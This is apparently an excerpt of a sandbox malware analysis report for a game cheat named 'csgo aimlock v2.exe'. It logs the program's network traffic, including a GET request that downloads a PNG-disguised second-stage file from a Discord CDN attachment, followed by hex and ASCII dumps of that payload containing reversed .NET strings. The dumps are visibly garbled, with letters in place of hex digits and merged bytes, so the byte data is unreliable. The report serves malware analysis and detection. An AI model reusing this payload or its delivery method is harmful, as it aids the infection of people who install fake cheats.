May 23, 2022 18:46:57.802875996 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.802926064 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.802957058 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.802972078 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.802999020 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.803025961 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.803076982 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.803126097 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.803139925 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.803153992 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.803189039 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.803219080 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.803287983 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.803302050 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.817975044 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.818126917 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.818157911 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.818248987 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.818399906 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.818645954 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.818744898 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.818773031 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.818865061 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.818885088 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.818979025 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.819097996 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.819195032 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.819277048 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.819380999 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.819421053 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.819495916 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.819554090 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.819638014 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.819686890 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.819758892 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.819823980 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.819894075 CEST 49786 443 192.168.2.5 162.159.135.233

May 23, 2022 18:46:57.819950104 CEST 443 49786 162.159.135.233 192.168.2.5

May 23, 2022 18:46:57.820031881 CEST 49786 443 192.168.2.5 162.159.135.233

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 23, 2022 18:46:56.899142027 CEST 60658 53 192.168.2.5 8.8.8.8

May 23, 2022 18:46:56.920547009 CEST 53 60658 8.8.8.8 192.168.2.5

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 23, 2022 18:46:56.899142027 CEST 192.168.2.5 8.8.8.8 0x8cf6 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 23, 2022 8.8.8.8 192.168.2.5 0x8cf6 No error (0) cdn.discor 162.159.135.233 A (IP address) IN

18:46:56.920547009 CEST dapp.com (0x0001)

May 23, 2022 8.8.8.8 192.168.2.5 0x8cf6 No error (0) cdn.discor 162.159.134.233 A (IP address) IN

18:46:56.920547009 CEST dapp.com (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 23, 2022 8.8.8.8 192.168.2.5 0x8cf6 No error (0) cdn.discor 162.159.133.233 A (IP address) IN
18:46:56.920547009 CEST dapp.com (0x0001)
May 23, 2022 8.8.8.8 192.168.2.5 0x8cf6 No error (0) cdn.discor 162.159.130.233 A (IP address) IN
18:46:56.920547009 CEST dapp.com (0x0001)
May 23, 2022 8.8.8.8 192.168.2.5 0x8cf6 No error (0) cdn.discor 162.159.129.233 A (IP address) IN
18:46:56.920547009 CEST dapp.com (0x0001)

HTTP Request Dependency Graph

e cdn.discordapp.com

HTTPS Proxied Packets

Destination
Session ID Source IP Source Port Destination IP Port Process

0 192.168.2.5 49786 162.159.135.233 443 C:\Users\user\Desktop\csgo aimlock v2.exe

kBytes

Direction Data
transferred

Timestamp
2022-05-23 16:46:57 UTC 0 ouT GET /attachments/970091439654584400/970407225539575808/Htlgnh_Jbpovrha.png HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

2022-05-23 16:46:57 UTC 0 IN HTTP/1.1 200 OK
Date: Mon, 23 May 2022 16:46:57 GMT
Content-Type: image/png
Content-Length: 1640960
Connection: close
CF-Ray: 70ff454b0d66923b-FRA
Accept-Ranges: bytes
Age: 1773
Cache-Control: public, max-age=31536000
ETag: "5885d0979f328cef8f5528c4756ed860"
Expires: Tue, 23 May 2023 16:46:57 GMT
Last-Modified: Sun, 01 May 2022 19:31:51 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-g00g-generation: 1651433511927608
x-goog-hash: crc32c=uQ189g==
X-g00g-hash: md5=WIXQI58yjO+PVS|EAW7YYA==
X-goog-metageneration: 1
X-goog-storage-class: STANDARD
X-g00g-stored-content-encoding: identity
X-goog-stored-content-length: 1640960
X-GUploader-UploadID: ADPycduSONNw_6l01yCKQL-R6akrOn_T9Fj4M8_VY_rUCuwfhRAJb38Md8ga_kVKMLVY
pJDFBauf23pKiln6IF1-nGFr5Q
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\V/report\/\v3?s=kqBednUDI%2BH%2FfP8sn4jAhNczctwC
gCvf46N7CudlirasiM9IZ%2Bidvzd3I14WNJAITIBPYmKyRgQIlYHibmYYDOZRfcAidaxfJOVAuUlTXSY932V5n33a2at
F%2Bc313YRBMwsqD8leg%3D%3D"}],"group”:“cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare

2022-05-23 16:46:57 UTC 1 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii:

2022-05-23 16:46:57 UTC 1 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

2022-05-23 16:46:57 UTC 2 IN Data Raw: 00 01 00 00 1f dc 9e 59 00 01 00 00 00 01 00 00 fe ef 04 bd 00 00 00 00 00 4f 00 46 00 4e 00 49 00 5f 00 4e
00 4f 00 49 00 53 00 52 00 45 00 56 00 5f 00 53 00 56 00 00 00 34 03 22 00 00 00 00 00 00 00 00 00 00 03 22 00 19 40
58 00 00 00 48 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 30 00 00 00 01 00 01 00 00 00 00
00 00 00 00 00 00 00 00 00 00 80 00 00 18 00 00 00 10 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Data Ascii: YOFNI_NOISREV_SV4"'@XHO
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kByt:
Timestamp ytes

2022-05-23 16:46:57 UTC 4

2022-05-23 16:46:57 UTC 5

2022-05-23 16:46:57 UTC 6

2022-05-23 16:46:57 UTC 8

2022-05-23 16:46:57 UTC 9

2022-05-23 16:46:57 UTC 10

2022-05-23 16:46:57 UTC 12

2022-05-23 16:46:57 UTC 13

2022-05-23 16:46:57 UTC 14
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transferred

Direction

IN

Data

Data Raw: 2e 33 62 92 62 b0 52 11 52 e2 60 14 60 96 60 52 92 Oa cf cc 4b c9 2f 2f Oe 2d 48 49 2c 49 8d 71 ac fO cc 2b
2e 09 f5 d4 4b ad 48 ad 60 6¢ 60 64 ec 60 64 5e c5 c8 e5 51 92 93 9e 97 01 12 dc c1 ¢8 78 82 91 05 00 9b 0d bb 84 64
00 00 00 00 08 c2 ec 89 48 5d d1 ff e5 89 48 55 00 3d 00 49 00 58 00 5a 00 6d 00 5a 00 57 00 64 00 43 00 35 00 57 00
59 00 6a 00 4e 00 56 00 61 00 7a 00 31 00 57 00 51 00 02 00 00 00 50 08 Ob 00 00 00 08 00 00 00 08 00 00 00 02 08 08
00 00 74 68 67 69 65 68 06 68 74 64 69 77 05 00 00 00 02 65 7a 69 53 2e 67 6e 69 77 61 72 44 2e 6d 65 74 73 79 53 13
00 00 00 01 05 61 33 61 30 35 64 31 31 66 37 66 35 66 33 30 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6C
61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43 20 2c 30 2e 30 2e 30 2e 34 3d

Data Ascii: .3bbRR™"RK//-HI,Ig+.KH'I'd"d*QxdH]HU=IXZmZWdC5WY|NVaz1WQPthgiehhtdiweziS.gniwarD.metsyS
a3a05d11f7f5f30b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4=

Data Raw: 2e 6e 6f 69 74 61 7a 69 6¢ 61 62 6f 6¢ 47 2e 6d 65 74 73 79 53 26 06 00 00 00 00 00 03 00 07 06 06 06 06 06
06 06 06 01 01 01 01 01 06 06 06 06 06 06 06 06 01 00 00 03 01 01 01 01 01 01 01 01 01 73 64 72 6f 57 65 74 61 64 5f
6d 0b 72 61 64 6e 65 6¢ 61 43 74 6¢ 75 61 66 65 44 73 69 5f 6d 13 6d 65 74 49 61 74 61 44 6e 09 6f 66 6e 49 72 61 64
6e 65 6¢ 61 43 65 73 55 62 10 65 64 69 72 72 65 76 4f 72 65 73 55 65 73 75 5f 6d 11 44 49 65 72 75 74 6¢ 75 43 09 73 6
7 61 6¢ 46 74 61 6d 72 6f 66 Ob 79 6¢ 6e 4f 64 61 65 52 73 69 5f 6d Oc 73 72 61 64 6e 65 6¢ 61 43 6¢ 61 6€ 6f 69 74 70 6
f11 73 65 6d 61 4e 61 72 45 68 73 69 6¢ 67 6e 45 76 65 72 62 62 61 5f 6d 17 73 65 6d 61 4e 61 72 45 76 65 72 62 62 61
5f 6d 10 73 65 6d 61 4e 61 72 65 5f 6d Oa 73 6e 72 65 74 74 61 50

Data Ascii: .noitazilabolG.metsyS&sdroWetad_mradnelaCtluafeDsi_mmetlataDnofnlradnelaCesUbedirrevOres
Uesu_mbDlerutluCsgalFtamrofylnOdaeRsi_msradnelaClanoitposemaNarEhsilgnEverbba_msemaNarEverbba_msemaNa
re_msnrettaP

Data Raw: 69 44 65 76 69 74 61 6e Oc 6c 6f 62 6d 79 53 65 6¢ 6¢ 69 4d 72 65 70 Oe 6¢ 6f 62 6d 79 53 74 6e 65 63 72 65
700d 72 6f 74 61 72 61 70 65 53 70 75 6f 72 47 74 6e 65 63 72 65 70 15 72 6f 74 61 72 61 70 65 53 6¢ 61 6d 69 63 65 44
74 6e 65 63 72 65 70 17 6¢ 6f 62 6d 79 53 79 74 69 6e 69 66 6e 49 65 76 69 74 61 67 65 6e 16 6¢ 6f 62 6d 79 53 79 74
69 6e 69 66 6e 49 65 76 69 74 69 73 6f 70 16 6¢ 6f 62 6d 79 53 6e 61 6e 09 6¢ 6f 62 6d 79 53 79 63 6e 65 72 72 75 43
69 73 6e 61 12 6¢ 6f 62 6d 79 53 79 63 6e 65 72 72 75 63 Oe 72 6f 74 61 72 61 70 65 53 6¢ 61 6d 69 63 65 44 79 63 6€ 6
5727275631872 6f 74 61 72 61 70 65 53 70 75 6f 72 47 79 63 6e 65 72 72 75 63 16 72 6f 74 61 72 61 70 65 53 70 75
6f 72 47 72 65 62 6d 75 6e 14 72 6f 74 61 72 61 70 65 53 6¢ 61 6d

Data Ascii: iDevitanlobmySelliMreplobmyStnecreprotarapeSpuorGtnecreprotarapeSlamiceDtnecreplobmySytinifnlevita
genlobmySytinifnlevitisoplobmySnanlobmySycnerruCisnalobmySycnerrucrotarapeSlamiceDycnerrucrotarapeSp
uorGycnerrucrotarapeSpuorGrebmunrotarapeSlam

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 01 01 01 01 01 01 01 01 01
010101 010101010101010101010101010101000102 020202 02020202 020202020202 02 02020202
02 02 02 02 02 02 02 02 02 02 01 00 01 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04
04 04 02 01 00 01 00 02 02 00 02 02 00 02 02 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 02 01 00 01 00
02 02 00 02 02 00 02 02 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04

Data Ascii:

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii:

Data Raw: 00 49 00 65 00 67 00 72 00 61 00 4c 00 79 00 61 00 72 00 54 00 2e 00 73 00 69 00 68 00 74 00 24 26 00 00
00 00 00 64 00 69 00 72 00 47 00 6f 00 54 00 70 00 61 00 6e 00 53 00 2e 00 73 00 69 00 68 00 74 00 24 20 00 00 04 3d
00 00 01 66 00 00 01 41 00 00 01 20 00 00 00 ff 00 00 00 d8 00 00 00 a7 00 00 00 86 00 00 00 69 00 00 00 50 00 00 00 2
500 00 00 00 39 74 42 bc 33 85 7d e8 17 9a 1d 94 Oe b2 51 1b 04 53 a2 1d e6 d9 b4 32 b8 3a 2b 51 b6 a8 b5 43 9a 9b
6a 42 97 90 63 e1 87 89 cc 06 61 33 61 30 35 64 31 31 66 37 66 35 66 33 30 62 3d 6 65 6b 6f 54 79 65 4b 63 69 6¢ 62
7550 20 2c 6¢ 61 72 74 75 65 6e 3d 65 72 75 74 6¢ 75 43 20 2¢ 30 2e 30 2e 30 2e 34 3d 6e 6f 69 73 72 65 56 20 2c 67
6e 69 77 61 72 44 2e 6d 65 74 73 79 53 20 2c 65 7a 69 53 2e 67 6e 69 77 61

Data Ascii: legraLyarT.siht$&dirGoTpanS.siht$ =fA iP%9tB3}QS2:+QCjBca3a05d11f7f5f30b=nekoTyeKcilbuP lartuen=e
rutluC ,0.0.0.4=noisreV ,gniwarD.metsyS ,eziS.gniwa

Data Raw: ed 9 65 4¢ 07 0d 94 d6 25 1b 59 93 b5 3c 0a ee 3f d5 e7 37 a9 13 Oc bb 72 f4 61 72 68 3d a8 51 d7 a4 06 2a
6e 66 fe 9b 7b ¢7 31 c6 55 a3 78 fd 33 9d 11 07 b2 64 91 37 97 ab 4 67 9e 66 00 88 b0 44 09 29 04 6¢ 1 e7 9d d9 d4 28
88 5d 94 8d 73 a7 b9 ae 03 ab 6f 56 €9 df b4 79 39 be eb b0 2b d2 8a 4a 6d fd 7b d9 07 af 4a 93 a9 60 b2 0d 5d d4 9d ba
7226 41 cf 5¢ 03 a4 f6 el 06 51 ¢8 bc Of a6 ae 47 4a 5a f1 43 fb 8e 19 ba c3 b9 6¢ 03 58 73 04 a3 64 72 12 b7 1c a8 15 7f
99 bf cd 45 15 82 0f bc 2b a6 de 67 8a a7 5f eb 35 05 57 f0 56 b5 f9 0a 31 83 ba 76 12 06 77 ¢8 26 58 el 65 21 2¢ €0 2
be ce 12 3¢ 5b 43 4d 30 dd e7 6d 48 ea 8¢ 3b ed al 03 9f be 8d 5b 3f 3f a8 el 83 12 43 11 d2 02 a8 44 ea Ob 39 5e 47 1c
2559 ¢0 44 d1 5b e2 cf fa c6 77 32 50 1b Oa d5 b8 68

Data Ascii: eL%Y<?7rarh=Q*nf{1Ux3d7gfD)I(JsoVy9+Im{J ]z&A\QGIZCIXsdrE+g_5WV1vw&Xe! <[CMOmH;[22CDI*G%
YD[w2Ph

Data Raw: Ob 65 da 59 d7 17 d6 bb d9 ae 5 6a 5b 4e 4f 66 dO fe 71 ca a6 12 Of 9e c5 6e a5 f9 10 b2 fd 90 87 8b 71 6c¢ 4b
57 c6 8c a4 5¢ c3 eb fe ae 75 3e 92 38 4f aa 45 ca 56 Oa f7 20 12 a2 39 8a Oe 79 28 05 6¢ f5 88 11 80 70 d8 f8 dd a3 78
7423 09 e7 c7 5b 57 bf d5 c0 f3 68 88 f5 5d b7 d0 9a 7f 8f al 36 15 85 ba 82 3b d0 64 26 3e 62 b8 a3 39 d9 44 6 11 c1
9d 91 47 d0 66 d0 26 37 4f ae a7 11 c0 34 4b 28 21 4f 07 c4 3b e3 d2 4c 07 13 81 78 d7 49 6d 7f ce 5b d9 5¢ 1b ff ba 8a
€362 1b 7e da c2 57 58 dd a3 3c bd 33 54 99 1a 07 f2 25 3b 46 b6 ec 39 76 24 07 1d bf 23 05 89 7a ba 07 e2 40 94 b9
6817 23 90 f4 5a 66 03 38 f1 6¢ 7f 78 94 24 ¢c6 28 62 db ff ca 6e 7a fe 12 ab f2 52 76 ca ad €9 4a 03 14 04 2e 34 91 fe ef
b4 33 b9 2c bf 20 41 5¢ db 2a ec 23 be 88 77 2b 4e c6

Data Ascii: eYjINOfgnqlKW\u>80EV 9y (Ipxt#[Wh]6;d&>b9IDGf&704K(10;LXIm\b~WX<3T%;FIv$#z @h#Zf8Ix$(bnzRv
J.43, AV#w+N

Data Raw: ec 32 c3 d3 4f 41 ef 96 1d 8 1c 1d 6b 8 67 cf d6 33 6¢ c4 8¢ fO 6¢ 5a 49 c2 b9 f7 05 ¢3 92 58 64 40 e6 3d 1b
€9 8d ed be cc ab 1f fa ea 13 52 3f cf €5 7d 5¢ 96 29 6d Oa 8f c7 af 82 30 23 84 a5 cd 64 b0 21 4d 9c 24 ef 81 b8 62 1c 7¢c
60 17 e4 c5 1a 60 68 eb 55 52 5¢ 9a 39 72 9d a0 35 f9 fc 1d c8 18 74 6b 98 17 14 d4 8b c4 98 03 7c dc 1f 46 9b 13 41 1b
9e 98 0d 1e 78 51 b3 9d 7b e3 aa 2e 49 90 db cf 04 2f 05 67 74 24 7b 2c 3f Oe 7a 91 bd 72 5a 48 d4 fe 67 Ob bb e5 2a 34
17 Oe 2c 2f 4f 7 a2 cd Oe 71 95 f3 26 0d 69 28 02 a4 77 d5 ef c8 08 28 75 b6 91 37 ef bd Oe ce 8e d5 ee f8 b4 24 65 86 70
3114549 85 11 eb el 0f Oe 75 c0 89 61 35 00 b3 5¢ f0 e7 e2 8e €9 11 b9 e3 dd e0 7e f1 c6 2c dc fe 4e 4a ff 2a 6¢ 9d b0
4f 4¢c b8 78 ae c5 e5 be 7d 9f fd 34 33 ac 9e

Data Ascii: 20Akg3IIZIXd@=R?})\)mO0#d!M$b| " hUR\9r5tk| FAXQ{.I/gt${, ?zrZHg*4,/0q&i(w(u7$eplluas\~,NJ*IOLx}43
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kBytes

Timestamp transferred Direction
2022-05-23 16:46:57 UTC 16 IN
2022-05-23 16:46:57 UTC 17 IN
2022-05-23 16:46:57 UTC 18 IN
2022-05-23 16:46:57 UTC 20 IN
2022-05-23 16:46:57 UTC 21 IN
2022-05-23 16:46:57 UTC 22 IN
2022-05-23 16:46:57 UTC 24 IN
2022-05-23 16:46:57 UTC 25 IN
2022-05-23 16:46:57 UTC 26 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 72 ca ce 07 14 ae Ob €8 0a 32 22 71 d3 36 02 e0 f8 25 9b 14 09 0d 26 50 €0 32 13 el d4 d4 55 4f el 85 da cd
ae f9 41 df c7 b5 19 bf b3 e2 f3 93 e4 da 2f 31 41 b5 65 cc e6 4a 18 01 8b 82 cb 9f 44 27 2b 08 89 32 40 3f 4d 59 {7 82 87
9e 77 79 09 7f ed a2 fd 50 89 60 51 e4 43 5b de 79 56 4a 9e 24 2a 82 33 62 dc 28 4d 00 7c 3f 46 10 d8 63 e8 4f ec 14 28
28 d5 14 20 09 1d 22 2f 48 a4 38 80 d2 ac Oc 41 d2 fe 4d d3 a2 c2 c7 b5 15 1a a9 1c 94 da 88 11 84 66 Ob da b0 5b 84 4f
36 b9 80 cd 5a a7 5¢ d0 16 15 74 06 f1 b1 3d fb d2 ac 19 15 1b el 76 e3 f2 95 29 25 97 b4 8a 4e 94 79 c1 ad 12 b1l 88 b2
50 el e2 28 14 ea c0 8e 09 5b 8a ff 74 bd 43 1d bl 4b e7 a9 97 d7 9e be d2 ae 1f fO ff 88 40 d3 15 61 6b 67 25 bb 4d fa
el cb fc 36 d3 ca 4f 37 ca 8d e2 a0 88 72 98 40 af b6

Data Ascii: r2"q6%&P2UOA/1AeJD'+2@?MYwyP QC[yVJ$*3b(M|?FcO(( "/H8AMI[O6Z\t=v)%NyP([tCK@akg%M607r@

Data Raw: 3c a0 77 76 39 4f 53 al a3 b3 8f ad 69 91 69 56 65 15 1e 82 f5 a3 f2 70 5d 8c 8b ec 1f bc df 74 10 0d 65 d9 8b
4f 6a db 61 d4 2a 13 b9 35 64 64 0f fd fd ea 1f fb ed d2 f0 05 a3 2c c1 79 €9 75 4f 4c bd a2 b0 22 e4 a5 87 3b 10 6f 04 Of
69 53 9b 21 81 93 5d 56 4f df 83 7f 1e ac 76 5d 46 Of 91 34 65 95 bf 46 4e Ob 34 c2 20 f1 11 df a3 d6 1d f9 fa 60 80 47 ae
51 80 le 2a d9 58 9e €8 48 c9 4d b9 f0 b0 a9 f0 a0 d7 fe af 1f 12 eb da 0a 25 44 a7 1b 11 bc 54 2f 32 eb c2 89 86 09 19
81 02 25 49 Oe eb 8a 21 5 ef 7e 46 49 1a d4 dc c6 91 24 d0 c8 c8 35 38 40 6 e3 fe 10 72 ba bf 47 a7 b6 d6 9f 4c 4f 2e eb
37 e7 49 db 85 cd 6¢ 16 0d ea 6f d3 70 a4 15 2e c4 31 dO bd a6 89 1f b0 1d af 41 68 22 2e 08 07 db 86 de 42 6f 3a 74 a0
2f 00 fO 41 52 de 4f 88 48 ad df cb 93 66 03

Data Ascii: <wv90SiiVep]teOja*5dd,yuOL";0iS!VOvV]F4eFN4 "GQ*XHM%DT/2%I!~FI$58@rGLO.7llop.1Ah".Bo:t/ AROHf

Data Raw: e2 42 dc 7a d9 45 8d 5a 56 7c 2f b6 36 7b €0 56 2d 1d 6e f4 13 98 ff db 8e 34 15 85 ea 2b 5a f7 2c 08 84 4c
2918 b1 35 e2 cd 6a 52 b5 26 b1 48 34 f0 12 ff a3 3f 3d 40 20 02 6f 54 35 41 75 4e db 3a 83 Ob 14 06 2b cc 29 f6 63 c7
55 a9 e2 cl 5a 09 5f f3 3b 86 f3 39 42 f1 f2 df aa 9b 9b {7 9d 2b c8 99 4e 2f 69 cc 23 1a 4c 00 26 e7 d1 fa 33 bb 1b c5 fO
2a 15 ef 7f 87 86 29 8f 5d 8d fd 2d bc 02 2b 83 e5 0Oa ae ac 07 98 cc d8 6f 54 b0 0b 76 ¢3 40 c2 41 13 fd 8a 8a d3 45 ec
cd 7a ef f5 28 27 0e 81 66 fd c5 17 01 c1 94 d4 85 c5 6 6b 87 Of be 82 4e b2 d8 2f a3 3d d4 29 d1 2e 59 65 dd 00 67 52
2f b8 47 6a 1e 90 59 8b f1 e4 da d9 7f aa 8e ba 57 94 ed 13 81 18 5¢c 48 9d 74 b7 c1 b0 e4 bf 5e d6 27 3c 4a b8 31 be 6b
38 aaca 8l ch 19 97 6d 6f 3e 80 2f 89 2¢c 1e e7 7f 63

Data Ascii: BZEZV|/6{V-n4+Z,L)5]R&H4?=@ oT5AuN:+)cUZ_;9B+N/i#L&3*)]-+oTV@AEZz(‘fkN/=).YegR/GjYW\Ht '<
J1k8mo>/,c

Data Raw: Oe 8e 35 8e ff 49 78 43 20 2d ee b5 2a 27 91 34 cf f0 20 1f 8e cd 50 9f 3b 91 e5 ef b3 20 f7 dc 98 d9 94 7f 28
73 32 1b c0 bf ca 06 ce b4 d4 26 3e 7c f9 01 07 82 0f 89 ca 6¢ f9 ef 9a 17 be 70 4a dd 7c b1 f0 16 7b 2c 8e 58 86 51 d9
98 d3 6a f6 a6 c4 75 dc 13 5e 3b 2a ce 5d 82 43 48 c6 a5 0a 74 d9 19 18 d0 16 d3 c1 03 98 35 e3 ec 83 ca bc 88 6a 6¢
eb 88 b5 4c 97 b6 9a b5 48 94 5e fe 19 b8 e5 08 99 25 23 00 00 23 00 00 00 00 b4 50 44 41 50 44 41 50 00 00 00 00 00
00 00 00 00 00 00 02 74 65 53 65 63 72 75 6f 73 65 52 65 6d 69 74 6e 75 52 2e 73 65 63 72 75 6f 73 65 52 2e 6d 65 74
73 79 53 23 39 38 30 65 34 33 39 31 36 35 63 35 61 37 37 62 3d 6e 65 6b 6f 54 79 65 4b 63 69 6¢ 62 75 50 20 2c 6C 61 7
2 7475 65 6e 3d 65 72 75 74 6¢ 75 43 20 2¢ 30 2e 30 2e 30 2e 34

Data Ascii: 5IxC -*'4 P; (s2&>|IpJ|{,XQju”;*]CHt5jILH %##PDAPDAPteSecruoseRemitnuR.secruoseR.metsyS#
980e439165c5a77b=nekoTyeKcilbuP ,lartuen=erutluC ,0.0.0.4

Data Raw: 02 4f Ob c7 fe 9a 80 4f 40 80 9f 9f 33 40 80 9f 99 9d 94 1c be c2 d6 ac 4f a3 14 fb 9f e0 a8 4f 83 10 d1 a6 c3 8b
4f 18 94 c9 b9 8f 4f 40 80 9f 9f 33 40 80 9f ae 9d 94 Oa da 9b b0 80 4f 1b 06 4f 52 02 4f 12 d5 d1 db 81 4f 40 80 9f 9f 33
40 80 a0 a9 9d 94 Oc ad a2 ba 83 4f 83 11 b0 87 ce ae 4f 94 17 c5 80 d3 82 4f 02 d9 c6 aa a9 4f 40 80 9f 9f 33 40 80 9f
a7 9d 94 04 a2 d9 ea bd 4f 4a 1e d1 dO ba b8 4f 40 80 9f 9f 33 40 80 9f a4 9d 94 1a b8 a4 9d a8 4f 83 0d c9 bb d6 b4 4f
83 0b f7 al d3 8b 4f 19 ba b8 e4 9e 4f 40 80 9f 9f 33 40 80 9f aa 9d 94 1d b8 el 85 a0 4f 83 Ob 8d 7 8 88 4f 1b 04 4f 14
88 d9 b1 9e 4f 40 80 9f 9f 33 40 80 a0 b7 9d 94 07 af c6 c9 b5 4f 94 Oe e0 cc d2 a3 4f a3 12 f2 f5 c0 b7 4f 16 dc 94 da 9f
4f 40 80 9f 9f 33 40 80 a0 80 9d 94 Oa da

Data Ascii: 00@3@0000@3@00RO0@3@0000@3@0JI0@3@0000@3@0000@3@0000@3@

